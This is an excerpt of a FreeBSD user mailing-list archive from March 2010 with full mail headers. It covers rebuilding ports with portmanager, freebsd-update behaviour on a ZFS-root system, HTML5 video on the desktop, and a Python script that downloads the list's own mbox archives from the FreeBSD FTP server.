iVBORw0KGgoAAAANSUhEUgAAADAAAAAwBAMAAAClLOS0AAAAGFBMVEX+/v7++v6YOTrq8PCcuIX989UvOSj++v0BNCbpAAAAB3RJTUUHsQwfFzs7RBhzUQAAAhJJREFUOI1dU8GOqzAMNKIoV1bvwD1i0ysqrHplIdBrVSX7ATSbd03VVvn9tQNtQy0hjAdn7LED4AAcPtWm9RV+MPSfxhBLx9ajd6X/ngB6/mTwnRSZua7i7Ca+0ctZKo4Qmz+JY13X6I3nFZBxIYW1PbgfQ5RP8g0XlltEWGf3cV03joYpRnFbvYDKbXjZlXyyhEZA4lI+cN3NaVXE4VKjSwTExO10eTEkkJVqIAD5z0nUBQJluQDRSQjcrBiHAJxZlAH5CUMBMC7OcJ4LMQNnxhZ1HYPscMc6J4UlWRMNwzOpCcAHKSICd1EDn83abdREIbXsHkD1OinP1aCUCOEVRaa1lMcvywUWdYgk13JQUpYNKmvXQ8Kw5ML9YI5h8SakctBc7E/IYuLhYd/zZIk+1gM1vNweQBvHE0j+oYah3sMqAytQYlZk6+ANaaawJdu3OFzYGMZ3iGpa3qMlq9ZH0VZTgrCtw/ngdYkEIIpSbP1bWQAdFdX9vocBdkH2qVjVmuMu3gI5rjs814EUdrCZgWlPaxZZ3RiLFUtr+ud0PXwp2dnQSNXgePt6AZpBj6UMJ7VQkzN4utVeaSW1Dhn/kblGrKeMvNGnzwX4zuEDarYz1KdPtR60Gul0Gued+515SJXhCsl+Tx/3kY/UDvicPll9mfu50t3tvQ/thZpJYgeuwdSKNJ6tCD98MCgoxLDaPxbwqqwPWaWiAAAAAElFTkSuQmCC X-Face: "\j?x](l|]4p?-1Bf@!wN<&p=$.}^k-HgL}cJKbQZ3r#Ar]\%U(#6}'?<3s7%(%(gxJxxcR Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Subject: Re: Updating ports was Flash viewer for FBSD X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list Reply-To: freebsd-questions@freebsd.org List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 07 Mar 2010 11:32:46 -0000 On Sun, 7 Mar 2010 14:29:57 +0700 Pongthep Kulkrisada articulated: > > Programs like portmaster can be really helpful here. > Yes, it is what I am expecting. Thank you. > I read the handbook. There are 2 choices i.e. portmanager and > portmaster. I am now thinking which one is better. > I must also check time and disk space required to build all these > ports. Personally, I prefer portmanager. I would suggest that you empty your "/usr/ports/distfiles" directory entirely. If you have java installed, download the source files needed to build it and place them in the that directory. Update your entire ports tree and then run: portmanager -u -l -y -f That will rebuild your entire ports system in the correct order. Depending on the speed of your system and number of ports installed, that might take a day, give or take a few hours. I would shutdown 'X' prior to doing the update also. When done, reboot and all should be well. I have done it before with great success. BTW, you might also want to set: "BATCH=yes" sans quotation marks in your "/etc/make.conf" file. It will eliminate those pesky pop-up messages concerning configuring the port(s). -- Jerry gesbbb@yahoo.com |::::======= |::::======= |=========== |=========== | If you lose a son you can always get another, but there's only one Maltese Falcon. Sidney Greenstreet, "The Maltese Falcon" From owner-freebsd-questions@FreeBSD.ORG Sun Mar 7 11:57:58 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 332F1106564A for ; Sun, 7 Mar 2010 11:57:58 +0000 (UTC) (envelope-from dan.naumov@gmail.com) Received: from mail-yw0-f181.google.com (mail-yw0-f181.google.com [209.85.211.181]) by mx1.freebsd.org (Postfix) with ESMTP id E94D18FC15 for ; Sun, 7 Mar 2010 11:57:57 +0000 (UTC) Received: by ywh11 with SMTP id 11so1291518ywh.13 for ; Sun, 07 Mar 2010 03:57:57 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:date:message-id:subject :from:to:content-type; bh=YmelhncW/nMDKhvqSvG+e10/U2vzwrye3YrBfspmg9w=; b=K14Qr4Mw3d1AtUFCfkUlnSWT6yJdCGwctaSgd2WIpk1kATMp7G3yKkSNh3oqUiZLLs NZEeA/30RcDX6etDb65jAZVjMzCHhl2l5ecgnXNRb1bpyi0Xqy+/FRr8SYQoXWA6H8HP DYonCf3jc86bkDuHO5od2Px4NLL7tjYHyb6/4= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:date:message-id:subject:from:to:content-type; b=PA/XEFlm+3BGT4Sv9/hO49yNQSEm7rL7UPxor7vDJWVozmTd/Y0PgzYwvz7biaKsCM H2VYW1i6ZNYd2zey3ykGIhhWvPkISMp+dO3mRBm+ELIZjBKCDhzInFST9mNAXFHXpOle JbX4K7JxNOBoXaaKho6EoFz9c8qHk1uTgdffs= MIME-Version: 1.0 Received: by 10.101.131.4 with SMTP id i4mr6794118ann.27.1267963077137; Sun, 07 Mar 2010 03:57:57 -0800 (PST) Date: Sun, 7 Mar 2010 13:57:57 +0200 Message-ID: From: Dan Naumov To: freebsd-questions@freebsd.org Content-Type: text/plain; charset=ISO-8859-1 Subject: freebsd-update on a 8.0 rootzfs system X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 07 Mar 2010 11:57:58 -0000 Hello folks I have a 8.0 system that uses zfsroot and gptzfsboot. It uses the GENERIC kernel and the only thing that had to be manually recompiled is obviously the bootloader, to enable zfs boot support, other then that, the system is using stock 8.0 binaries. Since fully rebuilding world and kernel on this system is a 5 hour process, I would very much like to use freebsd-update and I wanted someone to clarify the utility's behaviour. If I run freebsd-update on this system, what will it do when it detects that the bootloader binaries do not match those of stock 8.0-RELEASE? Will it: 1) Ignore the changed/recompiled bootloader files completely, only updating the binaries whose checksums it can recognize. This behaviour is alright for updating within 8.0, updating for release errata, but would cause some problems updating to 8.1 and further, since 8.1 will have zfs capable bootloader by default and having freebsd-update always completely ignore a system component that has once been recompiled sounds a bit silly. 2) Happily update the system, overwrite my custom compiled bootloader, forcing me to manually rebuild the bootloader again before I reboot the system. This I guess would actually be the desired behaviour. - Sincerely, Dan Naumov From owner-freebsd-questions@FreeBSD.ORG Sun Mar 7 12:54:36 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id AAA8D106566B for ; Sun, 7 Mar 2010 12:54:36 +0000 (UTC) (envelope-from kraduk@googlemail.com) Received: from fg-out-1718.google.com (fg-out-1718.google.com [72.14.220.152]) by mx1.freebsd.org (Postfix) with ESMTP id 3CD028FC19 for ; Sun, 7 Mar 2010 12:54:35 +0000 (UTC) Received: by fg-out-1718.google.com with SMTP id 22so1511390fge.13 for ; Sun, 07 Mar 2010 04:54:35 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=googlemail.com; s=gamma; h=domainkey-signature:mime-version:received:in-reply-to:references :date:message-id:subject:from:to:cc:content-type; bh=dh/YxQrilLJOAboAIQemCzpfJiycChu78SaEYr2eSO8=; b=RQlL7TA9DL9I2jzJd8akgTbBA1VSvYWUqOqAItogv+JQigYWqZn/M0mPosUXGok7xz ziThbeNLqd+SsYGnFBNe5wC9pTpaQARA1GFpe42ApvHj3z7wQwvd4FkCeeP3H5PLPu0/ MmLMe6vToJkLy3Lk5b7SD2Jf7s/VJMYEMw7Vs= DomainKey-Signature: a=rsa-sha1; c=nofws; d=googlemail.com; s=gamma; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; b=brGXkSQBVxQHjX3rdHpeapTEVx/UNV5cBv5d4QGc96QlHf5C5JrAXoMzf4CvD3mJM1 b3jezV6CorCwoCSg06/KtlpRbGbhuejK2OoyvWSS6Vzud/hV929+tK/qqZczgYQ+SkfR oqBt0Hernd5nj2AXqvTem4fmSCXv0S1czTqx0= MIME-Version: 1.0 Received: by 10.239.169.9 with SMTP id m9mr322603hbe.37.1267966474915; Sun, 07 Mar 2010 04:54:34 -0800 (PST) In-Reply-To: References: Date: Sun, 7 Mar 2010 12:54:34 +0000 Message-ID: From: krad To: Dan Naumov Content-Type: text/plain; charset=ISO-8859-1 X-Content-Filtered-By: Mailman/MimeDel 2.1.5 Cc: freebsd-questions@freebsd.org Subject: Re: freebsd-update on a 8.0 rootzfs system X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 07 Mar 2010 12:54:36 -0000 On 7 March 2010 11:57, Dan Naumov wrote: > Hello folks > > I have a 8.0 system that uses zfsroot and gptzfsboot. It uses the > GENERIC kernel and the only thing that had to be manually recompiled > is obviously the bootloader, to enable zfs boot support, other then > that, the system is using stock 8.0 binaries. Since fully rebuilding > world and kernel on this system is a 5 hour process, I would very much > like to use freebsd-update and I wanted someone to clarify the > utility's behaviour. If I run freebsd-update on this system, what will > it do when it detects that the bootloader binaries do not match those > of stock 8.0-RELEASE? Will it: > > 1) Ignore the changed/recompiled bootloader files completely, only > updating the binaries whose checksums it can recognize. This behaviour > is alright for updating within 8.0, updating for release errata, but > would cause some problems updating to 8.1 and further, since 8.1 will > have zfs capable bootloader by default and having freebsd-update > always completely ignore a system component that has once been > recompiled sounds a bit silly. > > 2) Happily update the system, overwrite my custom compiled bootloader, > forcing me to manually rebuild the bootloader again before I reboot > the system. This I guess would actually be the desired behaviour. > > > - Sincerely, > Dan Naumov > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to " > freebsd-questions-unsubscribe@freebsd.org" > why dont you just cron a make update, buildworld, and build kernel, every night, or week? You always have a system ready for installation whenever you want it, irrelevant how long it takes to build. From owner-freebsd-questions@FreeBSD.ORG Sun Mar 7 13:20:42 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 41BA8106564A for ; Sun, 7 Mar 2010 13:20:42 +0000 (UTC) (envelope-from keramida@ceid.upatras.gr) Received: from poseidon.ceid.upatras.gr (poseidon.ceid.upatras.gr [150.140.141.169]) by mx1.freebsd.org (Postfix) with ESMTP id 50B778FC1A for ; Sun, 7 Mar 2010 13:20:41 +0000 (UTC) Received: from mail.ceid.upatras.gr (unknown [10.1.0.143]) by poseidon.ceid.upatras.gr (Postfix) with ESMTP id 0DA45EB4840; Sun, 7 Mar 2010 15:20:39 +0200 (EET) Received: from localhost (europa.ceid.upatras.gr [127.0.0.1]) by mail.ceid.upatras.gr (Postfix) with ESMTP id 1F516160D22; Sun, 7 Mar 2010 15:20:40 +0200 (EET) X-Virus-Scanned: amavisd-new at ceid.upatras.gr Received: from mail.ceid.upatras.gr ([127.0.0.1]) by localhost (europa.ceid.upatras.gr [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id LymN+rqj0Toj; Sun, 7 Mar 2010 15:20:39 +0200 (EET) Received: from kobe.laptop (ppp-94-64-237-111.home.otenet.gr [94.64.237.111]) by mail.ceid.upatras.gr (Postfix) with ESMTP id 93CF3160D1F; Sun, 7 Mar 2010 15:20:39 +0200 (EET) Received: from kobe.laptop (kobe.laptop [127.0.0.1]) by kobe.laptop (8.14.4/8.14.4) with ESMTP id o27DKchb005810 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Sun, 7 Mar 2010 15:20:38 +0200 (EET) (envelope-from keramida@ceid.upatras.gr) Received: (from keramida@localhost) by kobe.laptop (8.14.4/8.14.4/Submit) id o27DKbfh005807; Sun, 7 Mar 2010 15:20:37 +0200 (EET) (envelope-from keramida@ceid.upatras.gr) From: Giorgos Keramidas To: Alexander Best References: Date: Sun, 07 Mar 2010 15:20:37 +0200 In-Reply-To: (Alexander Best's message of "Sun, 07 Mar 2010 12:08:32 +0100 (CET)") Message-ID: <87bpf01d5m.fsf@kobe.laptop> User-Agent: Gnus/5.13 (Gnus v5.13) Emacs/23.1.92 (berkeley-unix) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Cc: Dan Nelson , freebsd-questions@freebsd.org Subject: Re: mailing list archive as mbox X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 07 Mar 2010 13:20:42 -0000 On Sun, 07 Mar 2010 12:08:32 +0100 (CET), Alexander Best wrote: > Dan Nelson schrieb am 2010-03-07: >> In the last episode (Mar 07), Alexander Best said: >> > hi there, > >> > what are the steps i need to perform to get a copy of the entire >> > mailingslist >> > archive of lets say freebsd-current@ in mbox format? > >> Go to ftp://ftp.freebsd.org/pub/FreeBSD/doc/mailing-lists/archive/ >> where you >> can download weekly gzipped archives of all the mailing lists since >> their >> creation. > > thanks for the hint, but it would take hours to download all those gzipped > files, extract them and merge them. > > i really need ALL the messages of a mailinglist. of course i could use the > gzipped files you mentioned if i had some script for downloading extracting > and merging all those files for me. It's relatively easy to hack one. You can get a list of year names from the /archive/ directory itself with curl(1) and a small amount of Python plumbing around curl: >>> from subprocess import Popen as popen, PIPE >>> import re >>> yre = re.compile('^d.*\s(\d+)$') >>> devnull = file("/dev/null") >>> def years(): ... curl = "curl -o /dev/stdout ftp://ftp.freebsd.org/pub/FreeBSD/doc/mailing-lists/archive/" ... ylist = [] ... for line in popen(curl, shell=True, stdout=PIPE, stderr=devnull).stdout.readlines(): ... m = yre.match(line) ... if m: ... ylist.append(int(m.group(1))) ... return ylist ... >>> years() [1994, 1995, 1996, 1997, 1998, 1999, 2000, 2001, 2002, 2003, 2004, 2005, 2006, 2007, 2008, 2009, 2010] Then you can grab a list of the freebsd-current archives by looping through the list of years and looking for the list of files that match the pattern: ftp://ftp.freebsd.org/pub/FreeBSD/doc/mailing-lists/archive/{year}/freebsd-current/(\d+.freebsd-current.gz) Using a pipe to parse the output of curl you can collect a list of all the files that match this pattern, e.g.: >>> def yearfiles(year): ... base = "ftp://ftp.freebsd.org/pub/FreeBSD/doc/mailing-lists/archive/%4d/freebsd-current" % year ... curl = "curl -o /dev/stdout %s/" % base ... flist = [] ... fre = re.compile(r'^.*\D(\d+.freebsd-current.gz).*$') ... for line in popen(curl, shell=True, stdout=PIPE, stderr=devnull).stdout.readlines(): ... m = fre.match(line) ... if m: ... flist.append("%s/%s" % (base, m.group(1))) ... return flist ... >>> yearfiles(1994) [] >>> yearfiles(1995) ['ftp://ftp.freebsd.org/pub/FreeBSD/doc/mailing-lists/archive/1995/freebsd-current/1.freebsd-current.gz', ...] Concatenating the file lists of all years and fetching each one of them with curl is then trivial: >>> ylist = years() >>> ylist [1994, 1995, 1996, 1997, 1998, 1999, 2000, 2001, 2002, 2003, 2004, 2005, 2006, 2007, 2008, 2009, 2010] >>> flist = [] >>> for y in ylist: ... f = yearfiles(y) ... flist = flist + f ... >>> len(flist) 785 Once you have the list of all the remote gzipped files, you can loop through the list of files once more and fetch them locally. I'm only going to fetch the first two files here, but feel free to fetch all of them in your version of the script: >>> flist = flist[:2] >>> flist ['ftp://ftp.freebsd.org/pub/FreeBSD/doc/mailing-lists/archive/1995/freebsd-current/19950101.freebsd-current.gz', 'ftp://ftp.freebsd.org/pub/FreeBSD/doc/mailing-lists/archive/1995/freebsd-current/19950226.freebsd-current.gz'] >>> >>> from subprocess import call >>> def getfile(url): ... out = os.path.basename(url) ... retcode = call(["curl", "-o", out, url], stderr=devnull) ... if retcode == 0: ... print "fetched %s" % url ... return tuple([url, out, retcode]) ... >>> map(getfile, flist) fetched ftp://ftp.freebsd.org/pub/FreeBSD/doc/mailing-lists/archive/1995/freebsd-current/19950101.freebsd-current.gz fetched ftp://ftp.freebsd.org/pub/FreeBSD/doc/mailing-lists/archive/1995/freebsd-current/19950226.freebsd-current.gz ... [('ftp://ftp.freebsd.org/pub/FreeBSD/doc/mailing-lists/archive/1995/freebsd-current/19950101.freebsd-current.gz', '19950101.freebsd-current.gz', 0), ('ftp://ftp.freebsd.org/pub/FreeBSD/doc/mailing-lists/archive/1995/freebsd-current/19950226.freebsd-current.gz', '19950226.freebsd-current.gz', 0)] >>> A slightly hackish script that collects all this to a more usable whole but lacks LOTS of error checking is the following: #!/usr/bin/env python from subprocess import call, Popen as popen, PIPE import os import re import sys devnull = file("/dev/null") yre = re.compile('^d.*\s(\d+)$') fre = re.compile(r'^.*\D(\d+.freebsd-current.gz).*$') def years(): curl = "curl -o /dev/stdout ftp://ftp.freebsd.org/pub/FreeBSD/doc/mailing-lists/archive/" ylist = [] for line in popen(curl, shell=True, stdout=PIPE, stderr=devnull).stdout.readlines(): m = yre.match(line) if m: ylist.append(int(m.group(1))) return ylist def yearfiles(year): base = "ftp://ftp.freebsd.org/pub/FreeBSD/doc/mailing-lists/archive/%4d/freebsd-current" % year curl = "curl -o /dev/stdout %s/" % base flist = [] for line in popen(curl, shell=True, stdout=PIPE, stderr=devnull).stdout.readlines(): m = fre.match(line) if m: flist.append("%s/%s" % (base, m.group(1))) return flist def getfile(url): out = os.path.basename(url) retcode = call(["curl", "-o", out, url], stderr=devnull) if retcode == 0: print "fetched %s" % url return tuple([url, out, retcode]) if __name__ == "__main__": print "Fetching year list." ylist = years() if len(ylist) == 0: print "No yearly archives found." sys.exit(1) print "Fetching file lists for %d years." % len(ylist) flist = [] for y in ylist: f = yearfiles(y) flist = flist + f if len(flist) == 0: print "No archives found." sys.exit(1) print "Fetching %d archives." % len(flist) fresult = map(getfile, flist) fok = [fentry[1] for fentry in fresult if fentry[2] == 0] ferr = [fentry[1] for fentry in fresult if fentry[2] != 0] if len(fok) > 0: print "" print "Successfully downloaded %d archives" % len(fok) for f in fok: print " %s" % f if len(ferr) > 0: print "" print "Failed to download %d archives" % len(ferr) for f in ferr: print " %s" % f Running this with a couple of lines to limit the FTP connections a bit and fetch only parts of the freebsd-current mail archives produces the following output on my laptop: keramida@kobe:/tmp$ python foo.py Fetching year list. Fetching file lists for 3 years. Fetching 5 archives. fetched ftp://ftp.freebsd.org/pub/FreeBSD/doc/mailing-lists/archive/1995/freebsd-current/19950101.freebsd-current.gz fetched ftp://ftp.freebsd.org/pub/FreeBSD/doc/mailing-lists/archive/1995/freebsd-current/19950226.freebsd-current.gz fetched ftp://ftp.freebsd.org/pub/FreeBSD/doc/mailing-lists/archive/1995/freebsd-current/19950305.freebsd-current.gz fetched ftp://ftp.freebsd.org/pub/FreeBSD/doc/mailing-lists/archive/1995/freebsd-current/19950312.freebsd-current.gz fetched ftp://ftp.freebsd.org/pub/FreeBSD/doc/mailing-lists/archive/1995/freebsd-current/19950319.freebsd-current.gz Successfully downloaded 5 archives 19950101.freebsd-current.gz 19950226.freebsd-current.gz 19950305.freebsd-current.gz 19950312.freebsd-current.gz 19950319.freebsd-current.gz Without the limiting code that I removed from the example, it will try to fetch all the archive files for all 17 years. Then you can simply type: gzip -cd *.freebsd-current.gz > freebsd-current.mbox to produce a single UNIX mbox file with all the messages. From owner-freebsd-questions@FreeBSD.ORG Sun Mar 7 13:33:20 2010 Return-Path: Delivered-To: questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id D4DD3106566B for ; Sun, 7 Mar 2010 13:33:20 +0000 (UTC) (envelope-from bh@izb.knu.ac.kr) Received: from pinus.izb.knu.ac.kr (pinus.izb.knu.ac.kr [IPv6:2001:470:1f05:5f6:3::1]) by mx1.freebsd.org (Postfix) with ESMTP id 7DE8C8FC08 for ; Sun, 7 Mar 2010 13:33:20 +0000 (UTC) Received: from pinus.izb.knu.ac.kr (localhost.izb.knu.ac.kr [IPv6:::1]) by pinus.izb.knu.ac.kr (Postfix) with ESMTP id B51F457375 for ; Sun, 7 Mar 2010 22:33:18 +0900 (KST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=izb.knu.ac.kr; h=from:to:subject:date:message-id:mime-version:content-type :content-transfer-encoding; s=soyeomul; i=bh@izb.knu.ac.kr; bh=5 dc2reJolyWrss3kJlUlWpGIXa5QR8ISnX5J2Tl+4nU=; b=G50YW/xvKqAy5kw6+ ZcwjUi2oiGvetXo628Hrcjbi4CJqGVSySXcq89/2LEe/rMizLT+bZ1x1H2cLMapk d0DyRNPaL2aymMv/CBlZt70HGzJj4WF3SU/venO0KNBmocSFwVM6x1HLWE78ri+H 1FI/rwJJKTsAs2Aeo3wyyU2EFM= Received: from rhodo.izb.knu.ac.kr (rhodo.izb.knu.ac.kr [IPv6:2001:470:1f05:5f8:3::2]) by pinus.izb.knu.ac.kr (Postfix) with ESMTP id 19C185736D for ; Sun, 7 Mar 2010 22:33:18 +0900 (KST) Received: from betla.home (unknown [59.24.179.141]) (using TLSv1 with cipher DHE-RSA-AES128-SHA (128/128 bits)) (No client certificate requested) (Authenticated sender: bh@izb.knu.ac.kr) by rhodo.izb.knu.ac.kr (Postfix) with ESMTP id E5E5C1CD73 for ; Sun, 7 Mar 2010 22:33:15 +0900 (KST) From: Byung-Hee HWANG To: questions@freebsd.org Organization: GR Face: iVBORw0KGgoAAAANSUhEUgAAADAAAAAwBAMAAAClLOS0AAAAHlBMVEVMM2UIAhGJrpkJDwsD AwgJAggKPnwFBAIEBAQJAjTkRM0eAAACN0lEQVQ4jW3Tv2sbMRQHcPnSDt78bMWctkOBgDc7 10I8Cl6DOpZm6RgPBx4LgbrjUbVVNiuXHNF/2yfJzqnEwmDfffyV9PSD2UNTfuu9A/65cT39 AnZ4j8pTcxzM/HlO4F8BnAcHCK14CuBeQXAFAJwbg/MmS2igEDWtrfZ9PyQiiJCxei1o+CNY bUJX4J1Cr8TQlbWmFZ3vijFwT58c7kW3Z3K84oJrFAPYds8Yk6zmwnGLGai9rApZnaGgBbAZ wF6GdoY3DiADA74IMMa5KzFPGEWDSLmAiSttDkhTqUVxAX+c/g9ER7BeVnzyZAdA5Go9Y+OC ydXNXZlDCetJtfpWyXp6xzNQmkA+i0J+nI7jGJjKVjPfXYUKpXtc3AbQR2CraazQP17StKgr /QpXEZrNAdIY7Wx/HmHR91U2K8XP10BLSEvS94scoPUJvN/mCVSqxiVBBdCzAbDkeG2/XlVy BCA8ZoD4AZdUxYsiABPABNCIhsagnng4LDvL0LYYijdWCZrsRTx3YUnQGh46+0sZ2tv3MZ1A xdKNxnuYFO9onTEClYZpHX//LNjyOiRs2ihzhO9MVnYACqo051YUZwMYhXEW1L7s2XU6LxZv I6g4L1NTeSm7+wUBlCpD3Cyl3KXEqq5ZG+8RhEfBqsN2jrqaQYQ2PH/qRqmnh4auGgjnXPrj j1udunqg887i/daHXTlA+Gbgm8aX9k1jvifQp2Ajm+2pRL+hk3QKGikv3dv3IdE4cwL+ATzH tMu8OktOAAAAAElFTkSuQmCC X-Url: http://izb.knu.ac.kr/~bh/ X-Window-System: GNU Network Object Model Environment X-EMMS-Playing: Nothing playing right now Date: Sun, 07 Mar 2010 22:33:12 +0900 Message-ID: <86aaukdzon.fsf@betla.home> User-Agent: Gnus/5.13 (Gnus v5.13) Emacs/23.0.95 (berkeley-unix) MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: quoted-printable Cc: Subject: HTML5 under FreeBSD Desktop X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 07 Mar 2010 13:33:20 -0000 Is it possible? I really want to see YouTube Video in FreeBSD Desktop. So HTML5 support of YouTube [1] is good news to me.=20 Currently i'm on FreeBSD 8.0-RELEASE ;; Sincerely, [1] http://www.youtube.com/html5/ =20 --=20 =EC=86=8C=EC=97=AC=EB=AC=BC =ED=99=A9=EB=B3=91=ED=9D=AC(=E9=BB=83=E7=82=B3= =E7=86=99) | .. =EC=B6=9C=ED=95=AD 15=EB=B6=84=EC=A0=84.. "Then why do you come to me? How have I deserved your generosity?" "I need two million dollars cash. Equally important, I need a man who has powerful friends in the important places." -- Vito Corleone and Virgil Sollozzo, "Chapter 2", page 73 From owner-freebsd-questions@FreeBSD.ORG Sun Mar 7 13:39:06 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 32B4E106566B for ; Sun, 7 Mar 2010 13:39:06 +0000 (UTC) (envelope-from dan.naumov@gmail.com) Received: from mail-yx0-f201.google.com (mail-yx0-f201.google.com [209.85.210.201]) by mx1.freebsd.org (Postfix) with ESMTP id E54B88FC1F for ; Sun, 7 Mar 2010 13:39:05 +0000 (UTC) Received: by yxe39 with SMTP id 39so8091yxe.3 for ; Sun, 07 Mar 2010 05:39:05 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:in-reply-to:references :date:message-id:subject:from:to:content-type; bh=vIFNzlFhR6bhaHCq9IeoragByAdFlK3WrqGPEe4jwcM=; b=DmzEyHgY8osbVCmaz50kmrOTU9GoncWJj56RSCUZo3Eyh1sPbxjFQAZItirggIQ9gJ 166r0Uh1QdiSzmq3KRh+yy5Xp1SbW+Ww12cfBMKdycjyd+LMASe0TQczi1YyW+uKuIvx L9lAGvTjV2aWHRIjk0BvOnlLXj0/Uow8Cb5rQ= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :content-type; b=g+iziqqT+XUdL6ohVOos7xh/wzwXU2zaFbiwnHD/DQHJXOcKB0OmxIkkU/uytIg6WD 6mrNik6AGNEkIIji7G50JGaPai5BqhCF4/7Ly5bmf/9IFMU1DRUqp7cKqZU2l8FqD5C6 V6xh0uDVQdgxTDEZwJpF2HefjoCtMeCJLMvbE= MIME-Version: 1.0 Received: by 10.101.186.30 with SMTP id n30mr6781316anp.180.1267969145066; Sun, 07 Mar 2010 05:39:05 -0800 (PST) In-Reply-To: References: Date: Sun, 7 Mar 2010 15:39:05 +0200 Message-ID: From: Dan Naumov To: freebsd-questions@freebsd.org Content-Type: text/plain; charset=ISO-8859-1 Subject: Re: freebsd-update on a 8.0 rootzfs system X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 07 Mar 2010 13:39:06 -0000 On Sun, Mar 7, 2010 at 1:57 PM, Dan Naumov wrote: > Hello folks > > I have a 8.0 system that uses zfsroot and gptzfsboot. It uses the > GENERIC kernel and the only thing that had to be manually recompiled > is obviously the bootloader, to enable zfs boot support, other then > that, the system is using stock 8.0 binaries. Since fully rebuilding > world and kernel on this system is a 5 hour process, I would very much > like to use freebsd-update and I wanted someone to clarify the > utility's behaviour. If I run freebsd-update on this system, what will > it do when it detects that the bootloader binaries do not match those > of stock 8.0-RELEASE? Will it: > > 1) Ignore the changed/recompiled bootloader files completely, only > updating the binaries whose checksums it can recognize. This behaviour > is alright for updating within 8.0, updating for release errata, but > would cause some problems updating to 8.1 and further, since 8.1 will > have zfs capable bootloader by default and having freebsd-update > always completely ignore a system component that has once been > recompiled sounds a bit silly. > > 2) Happily update the system, overwrite my custom compiled bootloader, > forcing me to manually rebuild the bootloader again before I reboot > the system. This I guess would actually be the desired behaviour OK, I did a testrun of this in a VM environment and #1 is what happens. I tried "freebsd-update IDS" first and that showed that /boot/loader SHA256 does not match what is expected, I then applied the updates, but it ignored my custom /boot/loader anyway and didn't touch it despite the mismatch. Why? My biggest concern is what does this mean going forward, when the eventual time for upgrading to 8.1 and 8.2 comes. 8.1 definately has a changed bootloader. Does the current behaviour mean that when I upgrade to 8.1, it will still refuse to update the bootloader and will refuse to update it forever or will it actually update "whatever is given" to 8.1, which would be the desired behaviour? - Sincerely, Dan Naumov From owner-freebsd-questions@FreeBSD.ORG Sun Mar 7 13:56:37 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 78BC91065675 for ; Sun, 7 Mar 2010 13:56:37 +0000 (UTC) (envelope-from amsibamsi@gmail.com) Received: from fg-out-1718.google.com (fg-out-1718.google.com [72.14.220.157]) by mx1.freebsd.org (Postfix) with ESMTP id 0AD918FC1A for ; Sun, 7 Mar 2010 13:56:36 +0000 (UTC) Received: by fg-out-1718.google.com with SMTP id 22so699154fge.13 for ; Sun, 07 Mar 2010 05:56:36 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:received:received:from:to:subject:date :user-agent:mime-version:content-type:content-transfer-encoding :message-id; bh=ItUu6Fz5XNOcAMADkpzL9RhM5zk3Q9YvmMBMwnM1eC8=; b=fgJn3h1Kh2YX4rQRNsmA5ZbnUn0Gb4XjzIWsM0kHgg4lJgFt1p2UdklH2ag0MOo3l6 l888ETiDBYVGy4gnzWnB1gx3ZuSeLYAiWu4CMHQe/ilyLk8Qk9PYUsTikHKeyU5Yzpaj 